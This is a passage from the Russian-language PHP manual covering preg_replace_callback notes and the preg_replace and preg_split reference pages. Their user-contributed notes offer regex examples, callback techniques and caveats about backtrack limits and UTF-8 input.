I think the writer is trying to say that the function accepts the parameter by reference, but that is not how it reads. -Manual needs updating/clarifying ?
Underdog 07-Feb-2014 03:33
For the callback I advise only to use a permanent or anonymous function.

Depending on the usage you may encounter memory issues when using create_function for the callback possibly due to attempts at being compatible with PHP 5.2 or prior. Some servers  refuse to update their PHP  for whatever reason.

Please peruse the create_function documentation for more details regarding its memory usage.

Regards.
T-Soloveychik at ya dot ru 20-Jul-2013 02:41
Text lines numeration:
<?PHP
// Multieline text:
    $Text = "
Some
Multieline
text
for
numeration";

// For count:
    $GLOBALS["LineNUMBER"] = 1;

// Replace linestart on number:
    PRINT preg_replace_callback("/^/m",function ()
        {
            return $GLOBALS["LineNUMBER"]++."  ";
        },
        $Text);

?>

1
2 Some
3 Multieline
4 text
5 for
6 numeration
kkatpki 18-Jun-2013 02:41
Note that, as of PHP 5.3, it seems that named subpatterns are now included in the matches array by their named key as well as their numerical key.

To build off of Chris' previous example, as of PHP 5.3, you *can* do

<?php

preg_replace_callback('/(?<char>[a-z])/', 'callback', 'word');

function callback($matches) {
    var_dump($matches);
}

?>

and expect to get $matches['char'] in your function. * BUT ONLY AS OF PHP 5.3 *

Please be mindful of this if you intend to support PHP 5.2.
Yuri 14-Oct-2012 10:27
If you want to call non-static function inside your class, you can do something like this.

For PHP 5.2 use second argument like array($this, 'replace'):
<?php
class test_preg_callback{

  private function process($text){
    $reg = "/\{([0-9a-zA-Z\- ]+)\:([0-9a-zA-Z\- ]+):?\}/";
    return preg_replace_callback($reg, array($this, 'replace'), $text);
  }

  private function replace($matches){
    if (method_exists($this, $matches[1])){
      return @$this->$matches[1]($matches[2]);
    }
  }
}
?>

For PHP 5.3 use second argument like "self::replace":
<?php
class test_preg_callback{

  private function process($text){
    $reg = "/\{([0-9a-zA-Z\- ]+)\:([0-9a-zA-Z\- ]+):?\}/";
    return preg_replace_callback($reg, "self::replace", $text);
  }

  private function replace($matches){
    if (method_exists($this, $matches[1])){
      return @$this->$matches[1]($matches[2]);
    }
  }
}
?>
Richard 04-Sep-2012 10:59
The easiest way to pass more than one parameters to the callback function is with the 'use' keyword.

[This is better than using global, because it works even when we are already inside a function.]

In this example, the callback function is an anonymous function, which takes one argument, $match, supplied by preg_replace_callback().  The extra
"use ($ten)" puts the $ten variable into scope for the function.

<?php
$string = "Some numbers: one: 1; two: 2; three: 3 end";
$ten = 10;
$newstring = preg_replace_callback(
    '/(\\d+)/',
    function($match) use ($ten) { return (($match[0] + $ten)); },
    $string
    );
echo $newstring;
#prints "Some numbers: one: 11; two: 12; three: 13 end";
?>
development at HashNotAdam dot com 19-Jun-2012 05:47
From PHP 5.3 you can use an anonymous function to pass local variables into the callback.

<?php

public function replace_variables( $subject, $otherVars ) {
    $linkPatterns = array(
        '/(<a .*)href=(")([^"]*)"([^>]*)>/U',
        "/(<a .*)href=(')([^']*)'([^>]*)>/U"
    );

    $callback = function( $matches ) use ( $otherVars ) {
        $this->replace_callback($matches, $otherVars);
    };

    return preg_replace_callback($this->patterns, $callback, $subject);
}

public function replace_callback($matches, $otherVars) {
    return $matches[1] . $otherVars['myVar'];
}
?>
Florian Arndt 26-Jan-2012 12:26
This small class allows PHP users to read JSON files with include statements in them. For instance the include {{{ "relative/to/including.json" }}} is replaced by the content of the json file located at "relative/to/including.json".

<?php
    /**
     * Handles JSON files with includes
     * Purpose: handle bigger JSON files by featuring "includes"
     *
     * @author Florian Arndt
     */
    class JWI {
        /**
         * Parses a JSON file and returns its contents
         * @param String $filename
         */
        static function read($filename) {
            if(!file_exists($filename))
                throw new Exception('<b>JWI Error: JSON file <tt>'.$filename.'</tt> not found!</b>');
            $content = join('', file($filename));
            $dir = dirname($filename);
            /**
             * replace
             *   include statements
             * with
             *   content of the file to include
             * recursively
             */
            $content = preg_replace_callback(
                '/{{{\s*"\s*(.+)\s*"\s*}}}/', // >include file< - pattern
                create_function(
                    '$matches', // callback parameter
                    sprintf(
                        '$fn = "%s/".$matches[1];'.
                        'return JWI::read($fn);',
                        realpath(dirname($filename))
                    )
                ),
                $content
            );
            return $content;
        }
    }
alex dot cs00 at yahoo dot ca 06-Oct-2010 02:09
Don't use this function to fetch BBCode, as explained. If you have some text that runs over 5000 chars (average), it will run out of its limit and makes you download the PHP page.

According to this, you should instead use something more advanced yet complex. You will need a function called "str_replace_once()" (search for it), one called "countWord()", the famous "after()", "before()", "between()".

str_replace_once does same as str_replace, but only replace first occurence. As for countWord, I guess you know how to count the number of a word occurence. As for after, before and between, this is a function that you may find easily somewhere on the site by a user. Else, you can do it.

The following function is able to do all blocks, supposing [code] and [/code], you might wish things between parents dont get parsed, including [code] if inside of another [code].

<?php
function prepareCode($code, $op, $end)
{
    $ix = 0;
    $iy = 0;
    $nbr_Op = countWord($op, $code);
    while($ix < $nbr_Op)
    {
        if(in_string($op, before($end, $code), false))
        {
            // The following piece of code replace the default [tag] by [tag:#]
            $code = str_replace_once($op, substr($op, 0, -1).':'.$ix.']', $code);
            $iy++;
        }
        elseif(in_string($end, before($op, $code), false))
        {
            $iy = $iy-1;
            $code = str_replace_once($end, substr($end, 0, -1).':'.($ix-1).']', $code);
            $ix = $ix-2;
        }
        $ix++;
    }
    while(in_string($end, $code))
    {
        $code = str_replace_once($end, substr($end, 0, -1).':'.($iy-1).']', $code);
        $iy=$iy-1;
    }

    $code = preg_replace('#\\'.substr($end, 0, 1).':-[0-9]\]#i', '', $code);
    if(in_string(substr($op, 0, -1).':0]', $code) && !in_string(substr($end, 0, -1).':0]', $code))
    {
        $code .= substr($end, 0, -1).":0]";
    }
    return $code;
}
?>

$code returns the whole text semi-formated. You only need to use it as :
$code = prepareCode($code="Your text", $op="[tag]" , $end="[/tag]");
Then just replace the parent tags :
str_replace("[tag:0]", "<tag>", $code);
str_replace("[/tag:0]", "</tag>", $code);
So at the end something like :
[
chris at ocproducts dot com 02-Jul-2010 07:39
The pcre.backtrack_limit option (added in PHP 5.2) can trigger a NULL return, with no errors. The default pcre.backtrack_limit value is 100000. If you have a match that exceeds about half this limit it triggers a NULL response.
e.g. My limit was at 100000 but 500500 triggered a NULL response. I'm not running unicode but I *guess* PCRE runs in utf-16.
Anonymous 09-Jun-2010 12:01
Created this to fetch the link and name of an anchor tag. I use this when cleaning an HTML email to text. Using regex for HTML is not recommended but for this purpose I see no issue with it. This is not designed to work for nested anchors.

A note to keep in mind:
I was primarily concerned with valid HTML so if attributes do no use ' or " to contain the values then this will need to be tweaked.
If you can edit this to work better, please let me know.
<?php
/**
 * Replaces anchor tags with text
 * - Will search string and replace all anchor tags with text (case insensitive)
 *
 * How it works:
 * - Searches string for an anchor tag, checks to make sure it matches the criteria
 *         Anchor search criteria:
 *             - 1 - <a (must have the start of the anchor tag )
 *             - 2 - Can have any number of spaces or other attributes before and after the href attribute
 *             - 3 - Must close the anchor tag
 *
 * - Once the check has passed it will then replace the anchor tag with the string replacement
 * - The string replacement can be customized
 *
 * Know issue:
 * - This will not work for anchors that do not use a ' or " to contain the attributes.
 *         (i.e.- <a href=http: //php.net>PHP.net</a> will not be replaced)
 */
function replaceAnchorsWithText($data) {
    /**
     * Had to modify $regex so it could post to the site... so I broke it into 6 parts.
     */
    $regex  = '/(<a\s*'; // Start of anchor tag
    $regex .= '(.*?)\s*'; // Any attributes or spaces that may or may not exist
    $regex .= 'href=[\'"]+?\s*(?P<link>\S+)\s*[\'"]+?'; // Grab the link
    $regex .= '\s*(.*?)\s*>\s*'; // Any attributes or spaces that may or may not exist before closing tag
    $regex .= '(?P<name>\S+)'; // Grab the name
    $regex .= '\s*<\/a>)/i'; // Any number of spaces between the closing anchor tag (case insensitive)

    if (is_array($data)) {
        // This is what will replace the link (modify to you liking)
        $data = "{$data['name']}({$data['link']})";
    }
    return preg_replace_callback($regex, 'replaceAnchorsWithText', $data);
}

$input  = 'Test 1: <a href="http: //php.net1">PHP.NET1</a>.<br />';
$input .= 'Test 2: <A name="test" HREF=\'HTTP: //PHP.NET2\' target="_blank">PHP.NET2</A>.<BR />';
$input .= 'Test 3: <a hRef=http: //php.net3>php.net3</a><br />';
$input .= 'This last line had nothing to do with any of this';

echo replaceAnchorsWithText($input).'<hr/>';
?>
Will output:
Test 1: PHP.NET1(http: //php.net1).
Test 2: PHP.NET2(HTTP: //PHP.NET2).
Test 3: php.net3 (is still an anchor)
This last line had nothing to do with any of this
Drake 21-Mar-2010 05:48
The good version of the class PhpHex2Str
<?php
class PhpHex2Str
{
    private $strings;

    private static function x_hex2str($hex) {
        $hex = substr($hex[0], 1);
        $str = '';
        for($i=0;$i < strlen($hex);$i+=2) {
            $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
    }

    public function decode($strings = null) {
        $this->strings = (string) $strings;
        return preg_replace_callback('#\%[a-zA-Z0-9]{2}#', 'PhpHex2Str::x_hex2str', $this->strings);
    }
}

// Exemple
$obj = new PhpHex2Str;

$strings = $obj->decode($strings);
var_dump($strings);
?>
Drake 21-Mar-2010 12:05
Decode Hexa to Strings =)
<?php
class PhpHex2Str
{
    private $strings;

    private function x_hex2str($hex) {
        $hex = substr($hex[0], 1);
        $str = '';
        for($i=0;$i < strlen($hex);$i+=2) {
            $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
    }

    public function decode($strings = null) {
        $this->strings = (string) $strings;
        return preg_replace_callback('#\%[a-zA-Z0-9]{2}#', 'x_hex2str', $this->strings);
    }
}

// Example
$strings = 'a %20 b%0A h %27 h %23';

$obj = new PhpHex2Str;
$strings = $obj->decode($strings);
var_dump($strings);
?>
carlos dot ballesteros at softonic dot com 02-Jul-2009 08:02
A simple function to replace a list of complete words or terms in a string (for PHP 5.3 or above because of the closure):

<?php
function replace_words($list, $line, $callback) {
    return preg_replace_callback(
        '/(^|[^\\w\\-])(' . implode('|', array_map('preg_quote', $list)) . ')($|[^\\w\\-])/mi',
        function($v) use ($callback) { return $v[1] . $callback($v[2]) . $v[3]; },
        $line
    );
}
?>

Example of usage:
<?php
$list = array('php', 'apache web server');
$str = "php and the apache web server work fine together. php-gtk, for example, won't match. apache web servers shouldn't too.";

echo replace_words($list, $str, function($v) {
    return "<strong>{$v}</strong>";
});
?>
Sjon at hortensius dot net 24-Jun-2007 04:56
preg_replace_callback returns NULL when pcre.backtrack_limit is reached; this sometimes occurs faster then you might expect. No error is raised either; so don't forget to check for NULL yourself
matt at mattsoft dot net 26-Apr-2006 02:16
it is much better on preformance and better practice to use the preg_replace_callback function instead of preg_replace with the e modifier.

function a($text){return($text);}

// 2.76 seconds to run 50000 times
preg_replace("/\{(.*?)\}/e","a('\\1','\\2','\\3',\$b)",$a);

// 0.97 seconds to run 50000 times
preg_replace_callback("/\{(.*?)\}/s","a",$a);


Выполняет поиск и замену по регулярному выражению

  • « preg_replace_callback
  • preg_split »
  • PHP Manual
  • Функции PCRE
  • Выполняет поиск и замену по регулярному выражению

preg_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_replace — Выполняет поиск и замену по регулярному выражению

Описание

preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null

Функция ищет в строке subject совпадения с шаблоном pattern и заменяет совпадения на значение replacement.

Вместо этой функции обращаются к функциям str_replace() или str_ireplace(), когда требуется найти соответствие точной строке, а не шаблону.

Список параметров

pattern

Искомый шаблон: строка или массив строк.

В шаблоне также указывают модификаторы модуля PCRE .

replacement

Строка или массив строк, в которых функция будет искать и заменять совпадения. Эта строка заменит каждую подстроку входной строки, которая совпала с шаблоном, если в этот параметр передали строку, а в параметр pattern — массив. Функция заменит каждую подстроку, которая совпала c шаблоном в массиве pattern, на значение replacement с тем же смещением внутреннего указателя массива, что и у шаблона, если и параметр pattern, и параметр replacement — массивы. Функция заменит на пустую строку каждую подстроку, которая совпала с лишним шаблоном в массиве pattern, если массив replacement содержит меньше элементов, чем массив pattern.

В параметре replacement разрешается указывать ссылки вида \n или $n, причём лучше предпочесть последний вариант. Каждую такую ссылку функция заменит на подстроку, которую захватил n-й подшаблон в круглых скобках. Номер группы n принимает значения от 0 до 99, причём ссылки \0 или $0 соответствует вхождению всего шаблона. Открывающие подшаблон скобки нумеруются слева направо, начиная с единицы, и указывают на номер подшаблона захвата. Обратите внимание, в отдельных ситуациях обратные слеши в строковых (string) литералах требуют экранирования.

Когда при работе с шаблоном замены за обратной ссылкой сразу идёт другое число (то есть буквальное число идёт сразу после подстроки, которая совпала с шаблоном), для ссылки на подшаблон нельзя использовать знакомую нотацию вида \1. Например, запись \11 собьёт функцию preg_replace() с толку, поскольку функция не знает, требуется ли выбрать первую обратную ссылку \1, за которой идёт буквальная цифра 1, или требуется выбрать одиннадцатую обратную ссылку \11, за которой ничего не идёт. Решение состоит в том, чтобы использовать конструкцию ${1}1, которая создаёт изолированную обратную ссылку $1, а число 1 оставляет литералом.

Если в шаблоне указали устаревший модификатор e, функция заэкранирует в строках, которыми замещаются обратные ссылки, отдельные символы: ', ", \ и NULL. Это сделали, чтобы гарантировать отсутствие синтаксических ошибок при записи обратных ссылок в одинарных или двойных кавычках: 'strlen(\'$1\')+strlen("$2")'. Знание синтаксиса записи строк в PHP помогает понять, как интерпретатор будет видеть строку.

subject

Строка или массив строк для поиска и замены.

Функция найдёт и заменит каждый элемент массива subject, а затем вернёт массив, если в параметр subject передали массив.

Функция сохранит ключи в массиве с результатами, если в параметр subject передали ассоциативный массив.

limit

Максимальное количество замен каждого шаблона для каждой строки subject. Значение по умолчанию равно -1 — не ограничивать количество замен.

count

Функция заполнит эту переменную количеством замен, которые она выполнила, если переменную указали.

Возвращаемые значения

Функция preg_replace() возвращает массив, если в параметр subject передали массив, иначе возвращается строка.

Функция возвращает новую версию значения subject, если нашла совпадения, иначе значение subject возвращается нетронутым. Функция возвращает null, если возникла ошибка.

Ошибки

Функция выдаёт ошибку уровня E_WARNING, когда в шаблоне указывают модификатор \e.

Если передали шаблон регулярного выражения, который не компилируется в допустимое регулярное выражение, выдаётся ошибка уровня E_WARNING.

Примеры

Пример #1 Пример обратных ссылок, за которыми следуют числовые литералы

<?php

$string = 'April 15, 2003';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,$3';
echo preg_replace($pattern, $replacement, $string);

?>

Результат выполнения приведённого примера:

April1,2003

Пример #2 Пример обработки функцией preg_replace() индексных массивов

<?php

$string = 'The quick brown fox jumps over the lazy dog.';

$patterns = array();
$patterns[0] = '/quick/';
$patterns[1] = '/brown/';
$patterns[2] = '/fox/';

$replacements = array();
$replacements[2] = 'bear';
$replacements[1] = 'black';
$replacements[0] = 'slow';

echo preg_replace($patterns, $replacements, $string);

?>

Результат выполнения приведённого примера:

The bear black slow jumps over the lazy dog.

После сортировки шаблонов и замен по ключам получаем правильный результат:

<?php

ksort($patterns);
ksort($replacements);
echo preg_replace($patterns, $replacements, $string);

?>

Результат выполнения приведённого примера:

The slow black bear jumps over the lazy dog.

Пример #3 Пример замены ряда значений по набору шаблонов

<?php

$patterns = array(
'/(19|20)(\d{2})-(\d{1,2})-(\d{1,2})/',
'/^\s*{(\w+)}\s*=/'
);

$replace = array('\3/\4/\1\2', '$\1 =');

echo preg_replace($patterns, $replace, '{startDate} = 1999-5-27');

?>

Результат выполнения приведённого примера:

$startDate = 5/27/1999

Пример #4 Пример удаления пробелов

В этом примере функция удаляет из строки лишние пробелы.

<?php

$str = 'foo o';
$str = preg_replace('/\s\s+/', ' ', $str);

// Теперь строка будет выглядеть вот так: 'foo o'
echo $str;

?>

Пример #5 Пример с параметром count

<?php

$count = 0;

echo preg_replace(array('/\d/', '/\s/'), '*', 'xp 4 to', -1 , $count);
echo $count; // 3

?>

Результат выполнения приведённого примера:

xp***to
3

Примечания

Замечание:

Функция обрабатывает ключи в том порядке, в котором ключи появляются в массиве, когда в параметры pattern и replacement передают массивы. Порядок ключей в этих массивах — не то же, что порядок числовых индексов. Если индексы требуются, чтобы определить, какой шаблон pattern требуется заменить какой заменой replacement, перед тем как вызывать функцию preg_replace(), на каждом массиве вызывают функцию ksort().

Замечание:

Функция применяет правила сопоставления последовательно, если и в параметр pattern, и в параметр replacement передали массив. То есть, вторая пара pattern/replacement будет работать со строкой, которую функция получила в результате обработки первой пары pattern/replacement, а не с исходной строкой. Когда требуется сымитировать параллельные замены, например, чтобы поменять два значения местами, один шаблон заменяют промежуточным заполнителем, а затем в следующей паре заменяют этот промежуточный заполнитель нужной заменой.

<?php

$p = array('/a/', '/b/', '/c/');
$r = array('b', 'c', 'd');

print_r(preg_replace($p, $r, 'a'));
// Выводит: d

?>

Смотрите также

  • Регулярные выражения PCRE
  • preg_quote() - Экранирует символы в регулярных выражениях
  • preg_filter() - Производит поиск и замену по регулярному выражению
  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • preg_replace_callback() - Выполняет поиск по регулярному выражению и замену с использованием callback-функции
  • preg_split() - Разбивает строку по регулярному выражению
  • preg_last_error() - Возвращает код ошибки выполнения последнего регулярного выражения PCRE
  • str_replace() - Заменяет вхождения строки поиска строкой замены

User Contributed Notes

Anonymous 22-Mar-2024 02:02
You can only use numeric backreferences in the replacement string, but not named ones:
<?php
echo preg_replace('#(\d+)#', '\1 $1 ${1}', '123');
// 123 123 123
echo preg_replace('#(?<digits>\d+)#', '\digits $digits ${digits}', '123');
// \digits $digits ${digits}
?>

To use named backreferences, you have to use preg_replace_callback:
<?php
echo preg_replace_callback('#(?<digits>\d+)#', function( $m ){
  return "$m[1] $m[digits] {$m['digits']}";
}, '123');
// 123 123 123

echo preg_replace_callback('#(?<digits>\d+)#', fn($m) => "$m[1] $m[digits] {$m['digits']}", '123');
// 123 123 123
?>

See https://bugs.php.net/bug.php?id=81469
razvan_bc at yahoo dot com 08-Oct-2022 10:11
How to replace all comments inside code without remove crln  = \r\n or cr \r each line?

<?php
$txt_target=<<<t1
this;//    dsdsds
    nope

/*
    ok
    */
is;huge
/*text bla*/
    /*bla*/

t1;

/*
=======================================================================
expected result:
=======================================================================
this;
    nope

is;huge
=======================================================================
visualizing in a hex viewer .. to_check_with_a_hex_viewer.txt ...
 t  h  i  s  ; LF TAB n  o  p  e CR LF CR LF  i  s  ;  h  u  g  e CR LF
74 68 69 73 3b 0a 09 6e 6f 70 65 0d 0a 0d 0a 69 73 3b 68 75 67 65 0d 0a
I used F3 (viewer + options 3: hex) in mythical TOTAL COMMANDER!
=======================================================================
*/

echo '<hr><pre>';
echo  $txt_target;
echo '</pre>';

//  a single line '//' comments
$txt_target = preg_replace('![ \t]*//.*[ \t]*!', '', $txt_target);

//  /* comment */
$txt_target = preg_replace('/\/\*([^\/]*)\*\/(\s+)/smi', '', $txt_target);
echo '<hr><pre>';
echo  $txt_target;
echo '</pre><hr>';

file_put_contents('to_check_with_a_hex_viewer.txt',$txt_target);

?>
mail at johanvandemerwe dot nl 13-Nov-2019 12:41
Sample for replacing bracketed short-codes

The used short-codes are purely used for educational purposes for they could be shorter as in 'italic' to 'i' or 'bold' to 'b'.

Sample text
----
This sample shows how to have [italic]italic[/italic], [bold]bold[/bold] and [underline]underlined[/underline] and [strikethrough]striked[/striketrhough] text.

with this function:

<?php
function textDecoration($html)
{
    $patterns = [
        '/\[(italic)\].*?\[\/\1\] ?/',
        '/\[(bold)\].*?\[\/\1\] ?/',
        '/\[(underline)\].*?\[\/\1\] ?/'
    ];

    $replacements = [
        '<i>$1</i>',
        '<strong>$1</strong>',
        '<u>$1</u>'
    ];

    return preg_replace($patterns, $replacements, $html);
}

$html = textDecoration($html);

echo $html; // or return
?>

results in:
----
This sample shows how to have <i>italic</i>, <b>bold</b> and <u>underlined</u> and [strikethrough]striked[/striketrhough] text.

Notice!
There is no [strikethrough]striked[/striketrhough] fallback in the patterns and replacements array
bublifuk at mailinator dot com 30-May-2018 03:36
A delimiter can be any ASCII non-alphanumeric, non-backslash, non-whitespace character:  !"#$%&'*+,./:;=?@^_`|~-  and  ({[<>]})
nik at rolls dot cc 17-Mar-2013 10:14
To split Pascal/CamelCase into Title Case (for example, converting descriptive class names for use in human-readable frontends), you can use the below function:

<?php
function expandCamelCase($source) {
  return preg_replace('/(?<!^)([A-Z][a-z]|(?<=[a-z])[^a-z]|(?<=[A-Z])[0-9_])/', ' $1', $source);
}
?>

Before:
  ExpandCamelCaseAPIDescriptorPHP5_3_4Version3_21Beta
After:
  Expand Camel Case API Descriptor PHP 5_3_4 Version 3_21 Beta
me at perochak dot com 22-Feb-2011 09:57
If you would like to remove a tag along with the text inside it then use the following code.

<?php
preg_replace('/(<tag>.+?)+(<\/tag>)/i', '', $string);
?>

example
<?php $string='<span class="normalprice">55 PKR</span>'; ?>

<?php
$string = preg_replace('/(<span class="normalprice">.+?)+(<\/span>)/i', '', $string);
?>

This will results a null or empty string.

<?php
$string='My String <span class="normalprice">55 PKR</span>';

$string = preg_replace('/(<span class="normalprice">.+?)+(<\/span>)/i', '', $string);
?>

This will results a " My String"
arkani at iol dot pt 04-Mar-2009 11:00
Because i search a lot 4 this:

The following should be escaped if you are trying to match that character

\ ^ . $ | ( ) [ ]
* + ? { } ,

Special Character Definitions
\ Quote the next metacharacter
^ Match the beginning of the line
. Match any character (except newline)
$ Match the end of the line (or before newline at the end)
| Alternation
() Grouping
[] Character class
* Match 0 or more times
+ Match 1 or more times
? Match 1 or 0 times
{n} Match exactly n times
{n,} Match at least n times
{n,m} Match at least n but not more than m times
More Special Character Stuff
\t tab (HT, TAB)
\n newline (LF, NL)
\r return (CR)
\f form feed (FF)
\a alarm (bell) (BEL)
\e escape (think troff) (ESC)
\033 octal char (think of a PDP-11)
\x1B hex char
\c[ control char
\l lowercase next char (think vi)
\u uppercase next char (think vi)
\L lowercase till \E (think vi)
\U uppercase till \E (think vi)
\E end case modification (think vi)
\Q quote (disable) pattern metacharacters till \E
Even More Special Characters
\w Match a "word" character (alphanumeric plus "_")
\W Match a non-word character
\s Match a whitespace character
\S Match a non-whitespace character
\d Match a digit character
\D Match a non-digit character
\b Match a word boundary
\B Match a non-(word boundary)
\A Match only at beginning of string
\Z Match only at end of string, or before newline at the end
\z Match only at end of string
\G Match only where previous m//g left off (works only with /g)
php-comments-REMOVE dot ME at dotancohen dot com 29-Feb-2008 12:02
Below is a function for converting Hebrew final characters to their
normal equivelants should they appear in the middle of a word.
The /b argument does not treat Hebrew letters as part of a word,
so I had to work around that limitation.

<?php

$text="????? ???????";

function hebrewNotWordEndSwitch ($from, $to, $text) {
   $text=
    preg_replace('/'.$from.'([?-?])/u','$2'.$to.'$1',$text);
   return $text;
}

do {
   $text_before=$text;
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
   $text=hebrewNotWordEndSwitch("?","?",$text);
}   while ( $text_before!=$text );

print $text; // ????? ??????!

?>

The do-while is necessary for multiple instances of letters, such
as "????" which would start off as "????". Note that there's still the
problem of acronyms with gershiim but that's not a difficult one
to solve. The code is in use at http://gibberish.co.il which you can
use to translate wrongly-encoded Hebrew, transliterize, and some
other Hebrew-related functions.

To ensure that there will be no regular characters at the end of a
word, just convert all regular characters to their final forms, then
run this function. Enjoy!
sternkinder at gmail dot com 24-Aug-2007 03:10
From what I can see, the problem is, that if you go straight and substitute all 'A's wit 'T's you can't tell for sure which 'T's to substitute with 'A's afterwards. This can be for instance solved by simply replacing all 'A's by another character (for instance '_' or whatever you like), then replacing all 'T's by 'A's, and then replacing all '_'s (or whatever character you chose) by 'A's:

<?php
$dna = "AGTCTGCCCTAG";
echo str_replace(array("A","G","C","T","_","-"), array("_","-","G","A","T","C"), $dna); //output will be TCAGACGGGATC
?>

Although I don't know how transliteration in perl works (though I remember that is kind of similar to the UNIX command "tr") I would suggest following function for "switching" single chars:

<?php
function switch_chars($subject,$switch_table,$unused_char="_") {
    foreach ( $switch_table as $_1 => $_2 ) {
        $subject = str_replace($_1,$unused_char,$subject);
        $subject = str_replace($_2,$_1,$subject);
        $subject = str_replace($unused_char,$_2,$subject);
    }
    return $subject;
}

echo switch_chars("AGTCTGCCCTAG", array("A"=>"T","G"=>"C")); //output will be TCAGACGGGATC
?>
ismith at nojunk dot motorola dot com 21-Mar-2007 09:47
Be aware that when using the "/u" modifier, if your input text contains any bad UTF-8 code sequences, then preg_replace will return an empty string, regardless of whether there were any matches.

This is due to the PCRE library returning an error code if the string contains bad UTF-8.


Разбивает строку по регулярному выражению

  • « preg_replace
  • ssdeep »
  • PHP Manual
  • Функции PCRE
  • Разбивает строку по регулярному выражению

preg_split

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_split — Разбивает строку по регулярному выражению

Описание

preg_split(
string $pattern,
string $subject,
int $limit = -1,
int $flags = 0
): array|false

Разбивает строку по регулярному выражению.

Список параметров

pattern

Строка, содержащая искомый шаблон.

subject

Входная строка.

limit

Если указан, функция возвращает не более, чем limit подстрок. Оставшаяся часть строки будет возвращена в последней подстроке. Специальное значение limit, равное -1 или 0, подразумевает отсутствие ограничения.

flags

flags может быть любой комбинацией следующих флагов (объединённых с помощью побитового оператора |):

PREG_SPLIT_NO_EMPTY
Если указан этот флаг, функция preg_split() вернёт только непустые подстроки.
PREG_SPLIT_DELIM_CAPTURE
Если указан этот флаг, выражение, заключённое в круглые скобки в разделяющем шаблоне, также извлекается из заданной строки и возвращается функцией.
PREG_SPLIT_OFFSET_CAPTURE

Если указан этот флаг, для каждой найденной подстроки будет указана её позиция в исходной строке. Необходимо помнить, что этот флаг меняет формат возвращаемого массива: каждый элемент будет содержать массив, содержащий в индексе с номером 0 найденную подстроку, а смещение этой подстроки в параметре subject - в индексе 1.

Возвращаемые значения

Возвращает массив, состоящий из подстрок заданной строки subject, которая разбита по границам, соответствующим шаблону pattern или false, если возникла ошибка.

Ошибки

Если передали шаблон регулярного выражения, который не компилируется в допустимое регулярное выражение, выдаётся ошибка уровня E_WARNING.

Примеры

Пример #1 preg_split() пример: Получение подстрок из заданного текста

<?php
// разбиваем строку по произвольному числу запятых и пробельных символов,
// которые включают в себя " ", \r, \t, \n и \f
$keywords = preg_split("/[\s,]+/", "hypertext language, programming");
print_r($keywords);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => hypertext
    [1] => language
    [2] => programming
)

Пример #2 Разбиваем строку на составляющие символы

<?php
$str = 'string';
$chars = preg_split('//', $str, -1, PREG_SPLIT_NO_EMPTY);
print_r($chars);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => s
    [1] => t
    [2] => r
    [3] => i
    [4] => n
    [5] => g
)

Пример #3 Разбиваем строку с указанием смещения для каждой из найденных подстрок

<?php
$str = 'hypertext language programming';
$chars = preg_split('/ /', $str, -1, PREG_SPLIT_OFFSET_CAPTURE);
print_r($chars);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Array
        (
            [0] => hypertext
            [1] => 0
        )

    [1] => Array
        (
            [0] => language
            [1] => 10
        )

    [2] => Array
        (
            [0] => programming
            [1] => 19
        )

)

Примечания

Подсказка

Если вам не нужна мощь регулярных выражений, вы можете выбрать более быстрые (хоть и простые) альтернативы наподобие explode() или str_split().

Подсказка

Если соответствий не нашлось, то возвращается массив с единственным элементом равным всей строке.

Смотрите также

  • "Регулярные выражения PCRE"
  • preg_quote() - Экранирует символы в регулярных выражениях
  • implode() - Объединяет элементы массива в строку
  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • preg_match_all() - Выполняет глобальный поиск шаблона в строке
  • preg_replace() - Выполняет поиск и замену по регулярному выражению
  • preg_last_error() - Возвращает код ошибки выполнения последнего регулярного выражения PCRE

User Contributed Notes

Walf 01-Jun-2022 08:45
Using PREG_SPLIT_DELIM_CAPTURE without PREG_SPLIT_NO_EMPTY guarantees that all the odd-numbered keys in the result will contain the delimiters. This makes further processing more predictable, and empty strings can always be filtered out at the end.
dewi at dewimorgan dot com 20-Oct-2021 07:35
Beware that it is not safe to assume there are no empty values returned by PREG_SPLIT_NO_EMPTY, nor that you will see no delimiters if you use PREG_SPLIT_DELIM_CAPTURE, as there are some edge cases where these are not true.

<?php
# As expected, splitting a string by itself returns two empty strings:
var_export(preg_split("/x/", "x"));

array (
  0 => '',
  1 => '',
)

# But if we add PREG_SPLIT_NO_EMPTY, then instead of an empty array, we get the delimiter.
var_export(preg_split("/x/", "x", PREG_SPLIT_NO_EMPTY));

array (
  0 => 'x',
)

And if we try to split an empty string, then instead of an empty array, we get an empty string even with PREG_SPLIT_NO_EMPTY.
var_export(preg_split("/x/", "", PREG_SPLIT_NO_EMPTY));

array (
  0 => '',
)
?>
Hayley Watson 01-Sep-2019 03:02
Assuming you're using UTF-8, this function can be used to separate Unicode text into individual codepoints without the need for the multibyte extension.

<?php

preg_split('//u', $text, -1, PREG_SPLIT_NO_EMPTY);

?>

The words "English", "Espanol", and "Русский" are all seven letters long. But strlen would report string lengths 7, 8 and 14, respectively. The preg_split above would return a seven-element array in all three cases.

It splits '???' into the array ['?', '?', '?'] instead of the 9-character array that str_split($text) would produce.
php at haravikk dot me 11-Nov-2016 03:24
When using the PREG_SPLIT_OFFSET_CAPTURE option you will end up with all results in a single array, which is often undesirable as it means you then have to filter out any delimiters you wanted to check for but not keep.

To get around this you can instead use preg_match_all() to perform the split. For comparison, here are two examples, both splitting around colon and semi-colon characters:

<?php $pieces_with_delimiters = preg_split('/[;:]/', $input, -1, PREG_SPLIT_OFFSET_CAPTURE); ?>

<?php preg_match_all('/([^;:]*)([;:]|$)/', $input, $matches);
list(, $pieces, $delimiters) = $matches ?>

The latter requires a more complex pattern, but produces a much more convenient set of results to work with, depending upon what you want to do with them.
canadian dot in dot exile at gmail dot com 18-Nov-2015 12:27
